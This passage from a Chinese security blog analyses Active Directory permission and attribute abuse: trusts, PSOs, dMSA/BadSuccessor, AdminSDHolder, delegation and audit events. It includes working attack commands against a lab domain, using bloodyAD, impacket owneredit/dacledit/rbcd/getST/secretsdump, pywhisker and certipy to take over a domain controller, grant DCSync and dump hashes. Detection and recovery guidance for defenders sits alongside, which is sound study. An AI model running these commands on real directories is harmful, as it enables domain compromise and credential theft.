信任信息保存在 TDO 中,trustDirection 关联信任方向,trustAttributes 记录隔离、林信任、委派等标志。修改这些配置还涉及信任管理接口与权限,不能把它当作普通用户任意写两个整数。

TRUST_ATTRIBUTE_QUARANTINED_DOMAIN(0x4)与 TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL(0x40)会影响相应信任边界的 SID Filtering 处理。后者使林信任采用外部信任方式处理相关规则,并不表示关闭全部 SID 过滤。分析时还要核对两端域、信任方向及接收方实际接受哪些 SID,见 MS-PAC 的边界分类。

信任配置变更可结合 4706、4716 等事件及 TDO 属性历史检查。改动的是哪一端的信任设置,决定哪一端接受外来身份时受影响。

默认域密码策略与 PSO

密码策略包括域默认设置和细粒度密码策略。域对象上的 minPwdLength、lockoutThreshold、pwdProperties 等属性涉及默认密码与锁定要求;PSO 则是 Password Settings Container 中独立的目录对象,通过 msDS-PSOAppliesTo 关联用户或全局安全组。

修改 PSO 可能降低最短长度、关闭锁定,或启用可逆加密。例如:

# 示例:对现有 PSO 的该属性具有写权限
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  set object 'CN=WeakPSO,CN=Password Settings Container,CN=System,DC=testjd,DC=local' \
  msDS-LockoutThreshold -v 0

PSO 不直接关联 OU。一个用户有多个候选 PSO 时,先处理直接关联等选择规则,再比较优先级;优先级数值越小,优先级越高。创建新 PSO 还要具备相应对象创建、必需属性及关联操作能力。应检查最终 msDS-ResultantPSO,而非只看一个刚创建的 PSO。规则见微软密码策略说明。

密码长度变化通常影响后续设置密码;启用可逆加密也不会把现有哈希倒算回明文,而是在后续适用的密码设置中保留可恢复数据。修改域对象属性后,还要关注管理这些设置的域策略是否会重新应用。

默认域策略变更可关注 4739,PSO 的创建和属性变化可关注 5137 / 5136。关闭锁定只是去除一道限制,认证速率限制、网络入口及其他防护仍可阻止后续尝试。

Exchange 的代发与自动映射

Exchange 的 publicDelegates 记录 Send on Behalf 委派,允许对应主体代表邮箱发信。Send on Behalf、Send As 与 Full Access 是不同权限:代发不等于以同一显示方式发送,也不等于获得读取整个邮箱的权限。

msExchDelegateListLink 用于 Outlook 自动映射,帮助客户端自动显示已委派邮箱。仅修改它不能取代 Full Access。微软曾记录删除邮箱权限后仍残留自动映射的情况:客户端可以继续显示邮箱,但没有访问权限。见微软自动映射问题说明。

因此,审计应分别核对目录属性、Exchange 权限及实际邮箱访问,不能把“出现在 Outlook 中”当作“已经可以读取”。通过 LDAP 修改属性与通过 Exchange 管理命令修改,在日志位置上也有差异,需要结合目录审计与 Exchange 审计分析。

创建者、RODC 标识与网页属性

mS-DS-CreatorSID 可以记录通过相关配额机制创建对象的主体 SID,适合查找普通用户创建的计算机:

Get-ADComputer -LDAPFilter '(mS-DS-CreatorSID=*)' -Properties 'mS-DS-CreatorSID' |
    Select-Object Name, 'mS-DS-CreatorSID'

该属性提供创建来源线索。对象后续的 ACL、Owner 和密码都可能变化,应继续确认当前控制权。

msDS-SecondaryKrbTgtNumber 标识 RODC 对应的次级 krbtgt 账户编号,相关工具可使用它定位 RODC 标识;它与密钥版本号 KVNO 的意义不同。

wWWHomePage、url 一般保存网页信息。可写属性也可能被用来存放标记或通信数据,但字段本身不提供特权;需要额外组件读取并执行相关行为,才会形成后续利用。

nTSecurityDescriptor 的修改

前面的 WriteDacl 与 WriteOwner,最终会反映到 nTSecurityDescriptor 的相应部分。LDAP 写入采用二进制安全描述符,一些工具允许输入 SDDL 并负责转换。是否通过某个工具封装,不改变服务器执行的 WRITE_DAC、WRITE_OWNER 等访问检查。

LDAP_SERVER_SD_FLAGS_OID 可将操作限定到 DACL、Owner 等部分,避免无意覆盖其他安全信息。它的用途是精确读写,不能据此推导为绕过审计。

# 已获得目标的 WRITE_DAC:向其 DACL 增加完全控制 ACE
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add genericAll victim attacker

# 已获得域对象的相应 DACL 修改权:增加复制权限
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add dcsync attacker

这些操作修改授权本身,后续的重置密码、凭据读取、复制请求是下一步使用授权。它们应在分析与审计中分别对应。

dMSA 与继任关系

迁移状态与 BadSuccessor

Windows Server 2025 引入 dMSA,用于将传统服务账户迁移到委派托管服务账户。迁移需要在新旧账户间保持身份与凭据兼容,因此 KDC 会处理继任关系,并在适用的票据与密钥响应中纳入原账户信息。

属性 所在对象 作用
msDS-ManagedAccountPrecededByLink dMSA 指向其取代的旧账户
msDS-DelegatedMSAState dMSA 记录迁移状态,利用链涉及置为完成状态 2
msDS-SupersededManagedAccountLink 旧账户 指向取代它的 dMSA
msDS-SupersededServiceAccountState 旧账户 记录被替代账户的迁移状态
msDS-GroupMSAMembership 等托管配置 托管账户 关联获准使用该托管身份的主体等配置

两条相互指向的迁移属性各自有对应的目录定义与反向链接,不能把它们本身当作一对自动维护的 forward-link / backlink。旧账户上的 msDS-SupersededManagedAccountLink就是独立的可写前向链接。

BadSuccessor(CVE-2025-53779)的补丁前路径利用 KDC 对迁移关系验证不足:

  1. 域中存在支持相关 dMSA 处理的 Server 2025 域控及可用的 KDS 等基础配置。
  2. 攻击者有在某容器创建并配置 dMSA 的权限,或已经控制一个可用 dMSA;CreateChild 若限定了对象类,要能覆盖 dMSA 类。
  3. 将受控 dMSA 的 PrecededByLink 指向特权目标,并设置所需迁移状态与受控主机使用配置。
  4. 以受控身份请求 dMSA 相关票据,KDC 接受伪造的继任关系,把目标的有效身份权限合入 PAC。
  5. 还可能从返回的 dMSA 密钥包 previous-keys 取得旧账户的可用 Kerberos 密钥。

previous-keys 中的内容要按密钥类型解析;其中存在 RC4 密钥时,它对应 NT 哈希,AES 密钥则是另一种 Kerberos 长期密钥。不能把整个字段固定解释成一个 NT 哈希。原始链见 Akamai BadSuccessor 研究。

2025 年 8 月补丁将关键验证放在 KDC:只有 dMSA 单向指向目标,不再足以取得目标权限和密钥。Akamai 后续测试发现,需要目标也建立匹配的互相引用,因而攻击者必须另外控制目标的相应属性;补丁前“只控制可建 dMSA 的 OU 就接管任意账户”的权限跨度被封堵。见 BadSuccessor 补丁分析。

badsuccessor-relationship-checks.png

bloodyAD 的对应功能会区分这两种写法:

# 默认路径需要具备目标侧相应属性写权
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add badSuccessor dmsa_pwn -t 'CN=victim,CN=Users,DC=testjd,DC=local' \
  --ou 'OU=Lab,DC=testjd,DC=local'

# --prepatch 选择补丁前单向关系路径,仅用于对应的未修复环境

参数和两端属性写入见 bloodyAD badSuccessor 实现。排查时应关联 dMSA 创建、两端迁移属性变化和后续取票,不能仅以域中“正在使用 dMSA”作为是否有攻击面的判断依据。

KDS 根密钥与 Golden gMSA / Golden dMSA

托管密码由 KDS 密钥与账户、时间等参数派生。攻击者在域控数据库泄露或具备足够读取能力后取得 KDS 根密钥,再结合账户 SID、ManagedPasswordId 等数据,就可能离线推导相应托管密码,绕开正常的在线密码检索授权。

Golden dMSA 研究进一步讨论不知道完整 ManagedPasswordId 时的候选搜索。Semperis 在其分析的实现中,根据时间构造 L0 相关上下文,并枚举取值均为 0 到 31 的 L1、L2 索引:

候选组合数 = 32 × 32 = 1024

这里猜测的是已取得根密钥后派生计算的相关索引,根密钥、账户身份及其他上下文仍需已知。详细推导见 Golden dMSA 原始研究。影响范围是使用被泄露 KDS 根密钥的相关账户,不会自动扩展到使用独立根密钥的其他森林。

托管密码正常轮换会继续使用相关根密钥派生新值,因此只重置某个已泄露密码可能不足以消除持久影响。恢复需要处理根密钥、受影响账户和复制状态,微软给出了 Golden gMSA 恢复流程。在线读取可以配置审计,已经泄露数据的离线计算则不会再访问目录。

权限的来源与传播

前面的属性路径解释了权限能够怎样使用。接下来沿反方向看:这些权限怎样进入环境,又怎样通过组、继承和产品配置传播到更多对象。

管理委派与宽泛主体

Helpdesk 需要重置普通用户密码,设备管理组需要创建指定 OU 的计算机,服务管理组需要维护特定服务账户。任务本身合理,问题通常出在授予了比任务更广的属性、对象类或继承范围。

委派控制向导用于新增授权,完整检查和撤销仍要回到高级安全设置、dsacls 或 ACL 工具。重复运行向导可能继续增加权限,不会自动回收旧角色、离职人员或历史授权。

审计一项委派,可同时记录主体、所需操作、目标对象类、继承层级和授权依据。Everyone、Authenticated Users、Domain Users、Domain Computers 等宽泛主体尤其需要展开。比如,Domain Computers 对用户有高影响写权限时,取得一个机器账户的攻击者就可能经该组使用这些权限。

特权账户与日常账户的管理范围宜分离,但仅移动到另一个 OU 不会消除直接 ACE、嵌套组或其他权限来源。还要核对新位置的继承和实际授权。

内置管理组与组合能力

一些内置组的危险性来自主机特权或多种管理能力组合,不全是某条对象 ACE:

主体 需要关注的权限来源
Account Operators 可管理大量普通账户与组;受保护对象和域控计算机等有额外限制
Server Operators 域控相关运维与主机特权;控制某项服务还要检查对应服务 ACL
Backup Operators 备份 / 恢复特权与被允许访问的主机,可影响目录数据库等敏感数据
Print Operators 驱动加载等特权;后续利用受驱动签名、阻止列表和系统版本影响
DnsAdmins DNS 服务管理能力,可影响名称解析及部分服务器配置
Schema Admins 修改 schema;默认安全描述符变化可影响后续创建对象的 ACL
Key Admins / Enterprise Key Admins 需要检查实际 Key Credential 管理权限及其范围
Group Policy Creator Owners 可创建 GPO;将其应用到目标还需要链接等权限

DnsAdmins 的 DNS 服务器配置接口与 AD DNS 记录的 LDAP 写入是两个入口。ServerLevelPluginDll 不是普通 DNS 记录属性,不能用只编辑目录 DNS 记录的 dnstool.py 操作等同替代;配置、服务加载以及漏洞路径还各有条件。

AORTA 原始研究展示了组合关系:林根域的 Account Operators 可控制未受相同保护的 Incoming Forest Trust Builders、DnsAdmins 成员关系,进而建立带 TGT 委派的入站林信任和 DNS 转发,再诱导域控向受控非约束委派服务进行 Kerberos 认证,获取域控 TGT 后复制域数据。每一步需要的信任方向、名称解析与认证载体都属于链条本身,不能只把 Account Operators 标为某条直接 DCSync ACE。

产品安装与服务账户

Exchange、目录同步、备份及管理产品会建立组、服务账户和目录授权。审计需要检查安装版本、升级准备步骤与现存 ACL,不能根据产品名称直接认定仍有历史权限。

PrivExchange 的历史链把 Exchange 回连认证、中继以及域根 WriteDacl 连在一起,见 Dirk-jan 原始研究。之后微软调整了回连认证及所需目录权限,已有部署还涉及更新与 PrepareAD 是否实际完成。权限缩减见微软 Exchange 共享权限模型更新。

启用密码哈希同步的 Entra Connect 连接账户需要相应目录复制权限。若同步服务器保存的连接凭据被具有足够本机权限的攻击者取得,就可能转化为目录复制能力。需要保护的是实际同步服务器、凭据和复制授权范围;没有启用该功能的连接账户不应被一概套用相同配置。

第三方管理账户也按同样方式分析:检查实际组成员关系、ACL 和主机特权,再判断哪些服务器与账户属于可影响域身份的管理范围。

所有权与预创建计算机

所有权可能提供后续修改 DACL 的入口,前提是没有被适用的 Owner Rights 或目录加固阻断。创建者、Owner、持有密码者和被委派的加域主体是不同角色,应分别读取和确认。

预创建计算机时指定“谁可将此计算机加入域”,可能产生重置密码、Account Restrictions 及其他授权。若委派给过大主体,可能同时暴露重用计算机和修改 RBCD 等入口。Account Restrictions 与 RBCD 的关系见 WriteAccountRestrictions 分析。

pre-Windows 2000 兼容的预创建账户还可能存在可预测初始密码,应结合账户状态与是否被正常加入域确认。它与创建者写 ACL 的路径是不同问题。noPac 等历史漏洞也曾使用机器账户,但还要求受影响 KDC 等漏洞条件,不能把 MAQ > 0 单独写成域管入口。

继承、组嵌套与受保护账户

高层 OU 的可继承 ACE 会传播到满足继承条件的后代;组嵌套又让一个 ACE 匹配到更多请求者。于是,对象移动、组成员调整或新增对象都可能在没有直接编辑该对象 DACL 的情况下改变其有效管理范围。

AdminSDHolder 则通过另一条机制维护受保护对象的权限。CN=AdminSDHolder,CN=System,DC=... 保存模板,PDC 模拟器上的保护任务默认每 60 分钟检查受保护账户与组,将不一致的权限恢复为模板,相关对象关闭 DACL 继承。

微软列出的受保护账户与组包括 Account Operators、Administrator、Administrators、Backup Operators、Domain Admins、Domain Controllers、Enterprise Admins、Enterprise Key Admins、Key Admins、krbtgt、Print Operators、Read-only Domain Controllers、Replicator、Schema Admins 和 Server Operators。范围与配置见微软受保护账户与组说明。

文档常把保护任务统称为 SDProp;深入实现时,还要区分一般安全描述符继承传播与 ProtectAdminGroups 任务。这里关注后者将模板应用到受保护对象的行为。

如果低权限主体能修改 AdminSDHolder DACL,就可能把新增权限传播给受保护对象。清理单个账户上的 ACE 后,模板仍然存在时还会被重新应用,因此需要同时检查模板与目标。

AdminSDProtectFrequency 控制相关检查周期;dSHeuristics 的 AdminSDExMask 则影响部分 Operators 组的保护排除,两项配置作用不同。成员退出保护范围后,adminCount 与关闭的继承可能遗留;恢复继承前应先确认当前及嵌套成员关系,以及父级权限是否适合重新传播。

事件 4780 在保护机制实际设置账户 ACL 时产生,可以结合模板变化、主体、目标和其他 ACL 写入记录分析,见事件 4780 定义。

托管凭据与新功能

gMSA 密码读取范围、LAPS 机密属性权限、Windows LAPS 解密主体和 KDS 根密钥是不同层次。把大组加入 gMSA 检索主体,或广泛授予 LAPS 控制访问权限,都可能把受保护凭据暴露给更多账户。

引入新 schema 或服务器能力后,历史 ACL 也需要重新解释。已有 CreateChild 如果覆盖 dMSA 类,部署支持相关能力的域控后就需要按 dMSA 创建与迁移规则重新检查;补丁后的权限要求按前文分析,不能沿用补丁前结论。

证书模板与 PKI 对象同样如此:模板写入、CA 角色管理、证书注册是三个不同管理面。审核产品配置时应沿各自对象与接口核对,不能只查看域管组成员名单。

从权限关系到完整操作链

逐步确认路径

下面几组关系用于说明推理过程,账户与组名都是示例:

起点 中间操作 结果与验证位置
对域对象有 WRITE_DAC 增加 Get-Changes 与 Get-Changes-All 使用目录复制接口;在对应命名上下文检查权限
对组有 member 写权 将受控账户加入组 后续认证取得新组身份,再按该组的资源权限访问
对用户有 KCL 写权 增加可控公钥凭据 KDC 接受 Key Trust 后取得用户 TGT
对目标计算机有 RBCD 属性写权 授权受控服务,再使用 S4U KDC 检查委派关系,目标服务检查最终资源权限
对 OU 有 WRITE_DAC 增加面向后代的授权 后代实际继承后才取得相应权限,受保护 DACL 可阻断
对可用模板有编辑能力 调整注册、用途和身份输入配置 CA 签发,认证端再验证信任、用途和账户映射

以 attacker -> Helpdesk -> svc_backup -> domain 为例,第一步要确认 attacker 能否加入 Helpdesk,第二步确认 Helpdesk 对 svc_backup 的具体权限。若只是重置密码,就要使用重置后的凭据;若是 KCL 写权,则还要满足 PKINIT 前提。最后再确认 svc_backup 是否确有域根复制权限。路径中每条边都有不同操作,图上可达不等于所有中间条件已经验证。

同样,对 OU 有权限时可以选择继承修改或 GPO 链接等不同路径。继承修改影响子对象 ACL,GPO 则影响实际采用该策略的用户或主机。把这两条链分别推到底,才能定位失败是在授权、配置加载、认证还是资源访问阶段。

从 WriteOwner 到计算机对象控制

WriteOwner 路径从修改所有者开始,随后使用有效的 WRITE_DAC 修改 DACL,再写入需要的属性:

DC01$ 的 WriteOwner
  -> 将 Owner 改为 write_owner_attacker
  -> 修改 DC01$ 的 DACL,增加 FullControl
  -> 写入 RBCD 或 Shadow Credentials

先查看 DC01 的高级安全设置,当前所有者为 Domain Admins:

DC01 计算机对象初始所有者为 Domain Admins

给 write_owner_attacker 授予“修改所有者”,范围限定为这个计算机对象:

write_owner_attacker 对 DC01 的修改所有者权限

修改 Owner 与 DACL

将 Owner 改为自己:

python3 examples/owneredit.py testjd.local/write_owner_attacker:'Bb123456' \
  -dc-ip 192.168.147.128 -target dc01$ -new-owner write_owner_attacker -action write

也可以使用 bloodyAD 完成同一项修改:

bloodyAD --host 192.168.147.128 -d testjd.local -u write_owner_attacker -p 'Bb123456' \
  set owner 'dc01$' write_owner_attacker

owneredit 输出原所有者的 SID 与 DN,并提示 OwnerSid 修改成功:

owneredit 成功修改 DC01 的 Owner

重新打开高级安全设置,可以看到所有者已经变为 write_owner_attacker:

DC01 的所有者已变为 write_owner_attacker

命令行也可以重新读取验证:

python3 examples/owneredit.py testjd.local/write_owner_attacker:'Bb123456' \
  -dc-ip 192.168.147.128 -target dc01$ -action read

owneredit 读取修改后的 Owner SID 与账户

随后以 write_owner_attacker 身份修改目标 DACL,给自己增加 FullControl:

python3 examples/dacledit.py testjd.local/write_owner_attacker:'Bb123456' \
  -dc-ip 192.168.147.128 -target 'dc01$' -action write \
  -rights FullControl -principal write_owner_attacker

工具先备份 DACL,再写入新的 ACE:

dacledit 成功为 write_owner_attacker 增加 DC01 的 FullControl

DACL 写入成功后,write_owner_attacker 便可以继续修改 RBCD、KCL 等属性。

写入 RBCD 或 Shadow Credentials

RBCD 路径把已控制的 test123$ 加入 dc01$ 允许的委派来源:

impacket-rbcd testjd.local/write_owner_attacker:Bb123456 \
  -delegate-from 'test123$' -delegate-to 'dc01$' -action write -dc-ip 192.168.147.128

输出中的允许列表保留了已有的 FakeDC01$,并增加 test123$:

DC01 的 RBCD 配置增加 test123 且保留原有来源

之后可使用 test123$ 的凭据,按 RBCD 流程请求被模拟用户访问 DC01 服务的票据。这里的授权写入由 write_owner_attacker 完成,后续发起 S4U 请求的主体则是 test123$。

Shadow Credentials 路径在 dc01$ 的 KCL 中增加公钥凭据。在 pyWhisker 仓库目录执行:

python3 pywhisker/pywhisker.py -d "testjd.local" -u "write_owner_attacker" \
  -p "Bb123456" --target "dc01$" --action "add" --filename p2

输出显示 KCL 更新成功,并把证书和私钥保存到 p2.pfx:

pyWhisker 成功写入 DC01 的 KCL 并保存 p2.pfx

接下来的 PKINIT 使用新私钥证明身份,满足条件时再衔接 UnPAC-the-hash。计算机长期密钥还可用于构造面向该计算机服务的白银票据,但 PAC 验证和服务端检查同样适用;若取得的是可写域控账户凭据,也可以使用其已有复制权限走 DCSync。

查询、记录与恢复

先记录请求者 SID、组成员关系、目标 DN、Owner、DACL,以及相关属性原值。读取原始 ACL 的示例:

impacket-dacledit -action read -target victim \
  -dc-ip 192.168.244.131 'testjd.local/attacker:Bb123456'

impacket-dacledit -action backup -target victim \
  -dc-ip 192.168.244.131 'testjd.local/attacker:Bb123456'

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  get writable --detail

可写枚举帮助找候选对象,随后仍要按具体访问掩码、GUID、继承范围与服务端约束确认。复杂权限可结合 Windows 有效访问、AD ACL Scanner 及 BloodHound 的关系详情交叉检查。

恢复时,对属性移除本次增加值、还原本次修改位;对 DACL 移除本次新增 ACE。目标原有的 RBCD、DCSync 或组成员关系应保留,避免使用粗粒度 remove 将其一并清掉。恢复完整备份前,还要检查备份之后是否有其他合法修改。

相关事件与审计条件

目录变更审计和目录访问审计是不同子类别。启用审计策略后,还需要在目标对象 SACL 中设置对应操作的审核规则,才能取得所需的属性或权限访问记录。配置关系见微软 Directory Service Changes 说明。

关注行为 事件 分析内容
目录属性 / 安全描述符变化 5136 目标 DN、属性、增删值、操作主体;需要对应 SACL
目录对象创建 / 删除 5137 / 5141 对象类、创建 / 删除主体及容器
修改 DACL、使用复制等受审核权限 4662 Access Mask、Properties 中的 GUID、操作主体及对象
重置他人密码 4724 谁重置了哪个账户,成功或失败
加入安全组 4728 / 4732 / 4756 分别对应全局、域本地、通用安全组
用户 / 计算机变更 4738 / 4742 主组、UAC、SPN、路径等可记录字段
计算机创建 4741 新账户、创建者及相关上下文
PKINIT 等 TGT 请求 4768 预认证类型、证书信息、账户及来源
SID History 添加 4765 / 4766 相应迁移 / 添加操作的成功或失败;离线数据库改写不会触发在线调用事件
域密码策略变化 4739 域策略的具体字段;PSO 另看目录对象事件
受保护账户 ACL 被设置 4780 与 AdminSDHolder、账户成员关系和模板修改关联
CA 请求 / 签发 / 拒绝 4886 / 4887 / 4888 请求者、Request ID、模板和身份信息
CA 安全 / 配置变化 4882 / 4890 / 4891 分别关注 CA 安全权限、管理设置和配置项,需 CA 审计配置

4662 中出现复制权限 GUID 是调查线索,合法目录同步、管理和审计账户也可能使用它们。需要结合授权基线、请求来源、登录会话和复制行为确认。CA 请求与配置事件可对照微软 CA 管理审计说明,并与之前的模板 ACL 变更关联。

收敛权限

管理委派应限定任务、对象类和继承范围,优先授予可维护的角色组,再审查组嵌套及成员。撤回某条授权前要先查清业务依赖,避免通过直接恢复默认 ACL 覆盖产品所需配置。

高影响对象包括域根、AdminSDHolder、域控、同步与 CA 管理链、KDS 根密钥及高权限服务账户。保护这些对象,需要同时收敛直接 ACE、上层可继承 ACE、所有权和有权管理相关主机的主体。

gMSA 检索权限、LAPS 读取与解密权限分别按实际使用者分配。预创建计算机要核对加域主体、遗留密码与现有对象权限;新引入 dMSA、PKI 等功能时重新检查旧授权含义。漏洞补丁、LDAP 签名 / CBT 等认证保护处理各自入口,不能替代已经落地的错误 ACL 清理。

权限与属性索引

下面用于从权限或属性名定位前文分析。表中列的是需要继续追踪的操作,完整前提、票据过程和示例见对应章节。

权限关系

权限 常见 BloodHound 关系 后续分析
完全控制 GenericAll 按目标类型选择属性操作、密码重置或修改授权
修改 DACL WriteDacl 可增加所需 ACE,随后执行对应操作
修改所有者 / 已拥有对象 WriteOwner / Owns 检查 Owner Rights 与目录加固,再判断 WRITE_DAC
通用写 / 属性写 GenericWrite 或相应属性关系 展开到具体属性与服务端处理;单独 WP 的完整掩码不同于 GenericWrite
所有扩展权限 AllExtendedRights 按对象检查密码、机密属性或复制等适用操作
重置密码 ForceChangePassword 不需旧密码;连接、密码策略及服务端检查仍适用
写组成员 / Self-Membership AddMember / AddSelf 任意合规成员操作与自我成员操作的范围不同
域根复制权限组合 GetChanges、GetChangesAll、DCSync 等 检查所请求命名上下文和数据类型
创建子对象 结合容器与类定义分析 明确是 user、computer、dMSA 或其他类,再检查配置与后续能力

关系名帮助表达图模型中的操作。某版本没有显示属性关系,也可能是采集、解析、版本或有效授权判断的问题;目录属性与原始安全描述符仍是核对基础。关系说明见 BloodHound Edges 文档。

属性与对象

属性 / 对象 对应章节 核对重点
member、memberOf 组成员与身份 写入 forward link;区分直接、嵌套和既有会话
primaryGroupID 组成员与身份 主组成员、修改前成员条件与枚举差异
sIDHistory 组成员与身份 特殊迁移权限、复制 / 数据库控制及 SID Filtering
adminCount 组成员与身份、继承传播 当前保护关系与遗留状态
managedBy 组成员与身份、RODC 普通信息字段、组成员 ACE 与 RODC 特殊角色
unicodePwd 密码操作 change / reset 的权限与输入不同
pwdLastSet 密码操作 下次改密状态及最近设置时间
msDS-KeyCredentialLink Shadow Credentials Key Trust、PKINIT 与 U2U 的完整过程
msDS-GroupMSAMembership、msDS-ManagedPassword gMSA 属性内安全描述符、构造属性和凭据检索
ms-Mcs-AdmPwd、msLAPS-Password LAPS 机密属性的读取授权
msLAPS-EncryptedPassword LAPS 密文读取与 DPAPI-NG 解密主体
scriptPath 登录脚本 实际加载路径、文件控制和执行上下文
msTSInitialProgram、msTSWorkDirectory RDP 初始程序 RDS 是否采用 AD 用户配置
homeDirectory、homeDrive、profilePath 主目录与配置文件 客户端采用配置、网络访问及认证保护
msDS-RevealOnDemandGroup、msDS-NeverRevealGroup RODC 有效 PRP 中的允许与拒绝匹配
msDS-RevealedList RODC 已揭示账户信息及 RODC 控制范围
servicePrincipalName SPN 与委派 属性写 / 校验写、唯一性、密钥强度及名称归属
msDS-AllowedToActOnBehalfOfOtherIdentity RBCD 外层属性写权、内层服务授权及用户限制
msDS-AllowedToDelegateTo 经典委派 配置权限、协议转换或可转发证据票据
userAccountControl 认证标志 各位语义、专门权限与原值保护
msDS-SupportedEncryptionTypes 加密类型 KDC 策略、可用密钥和协商
gPLink、gPOptions GPO 链接 链接写权、可控策略及作用范围
gPCFileSysPath GPC 与 GPT 文件服务认证、路径加固和策略文件
gPCMachineExtensionNames、gPCUserExtensionNames、versionNumber GPO 扩展 已注册 CSE、版本与处理时机
dNSHostName、msDS-AdditionalDnsHostName 身份与证书 名称校验、SPN 维护与具体证书取值规则
userPrincipalName 弱证书映射 KDC / Schannel 各自映射规则及补丁状态
altSecurityIdentities 显式证书映射 强弱格式、证书信任和私钥持有
模板 DACL、名称 / 注册标志、用途与签名要求 ESC4 各项编辑能力、注册与 CA 发布
PKI 容器、NTAuth、CA 主机 ESC5 信任发布、证书链、主机与私钥控制
ManageCA、ManageCertificates ESC7 CA 服务角色与具体请求处理
V1 模板的 Application Policies ESC15 CVE-2024-49019 补丁与认证组件
DisableExtensionList ESC16 SID 扩展缺失后的具体映射组合
lockoutTime、logonHours、userWorkstations、accountExpires 账户限制 各限制解除范围与剩余认证要求
description、info、comment 备注信息 是否包含实际有效凭据
ms-DS-MachineAccountQuota 机器创建 配额创建与显式容器授权
trustAttributes、trustDirection 信任 接收方、信任边界及 SID 分类
PSO、msDS-PSOAppliesTo、msDS-ResultantPSO 密码策略 关联对象、优先级及最终生效策略
minPwdLength、lockoutThreshold、pwdProperties 密码策略 默认域设置、PSO 覆盖与策略重新应用
publicDelegates、msExchDelegateListLink Exchange 代发权限、自动映射与 Full Access 分别核对
mS-DS-CreatorSID 其他属性 创建来源线索与当前控制权
msDS-SecondaryKrbTgtNumber 其他属性 RODC 编号,与 KVNO 区分
wWWHomePage、url 其他属性 普通数据写入及额外消费组件
nTSecurityDescriptor 授权修改 Owner / DACL / SACL 的专用访问检查
dMSA 迁移链接与状态 dMSA 补丁前单向关系与补丁后目标侧权限
msKds-RootKeyData、msDS-ManagedPasswordId KDS 密钥 被泄露根密钥关联的账户与派生上下文

常用操作入口

以下为几个与权限关系直接对应的完整命令示例。目标、账户和口令沿用本文环境;运行身份需要已经具备对应权限。

# 对组具备适用的成员写权限
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add groupMember IT-Support attacker

# 对用户具备重置密码权限
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  set password victim 'New@Pass1'

# 对用户具备 KCL 写权限,并满足 PKINIT 条件
certipy shadow auto -u [email protected] -p 'Bb123456' \
  -account victim -dc-ip 192.168.244.131

# 对目标有 WRITE_OWNER;后续是否可改 DACL 还要检查所有者规则
impacket-owneredit -action write -new-owner attacker -target victim \
  -dc-ip 192.168.244.131 'testjd.local/attacker:Bb123456'

# 已控制带 SPN 的 EVIL$,且对 WS01$ 的 RBCD 属性有写权限
bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add rbcd 'WS01$' 'EVIL$'

impacket-getST -spn 'cifs/WS01.testjd.local' -impersonate Administrator \
  -dc-ip 192.168.244.131 'testjd.local/EVIL$:Comp123!'

# 已具备所需域复制权限
impacket-secretsdump -just-dc \
  'testjd.local/attacker:[email protected]'

RBCD 示例还需被模拟用户允许委派,取得票据后由目标检查其资源权限。写入操作的恢复按前文记录执行,避免删除目标原有的成员、委派或其他授权。

参考来源

权限结构与目录规则

属性与权限组合研究

证书与审计

工具实现与参数

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇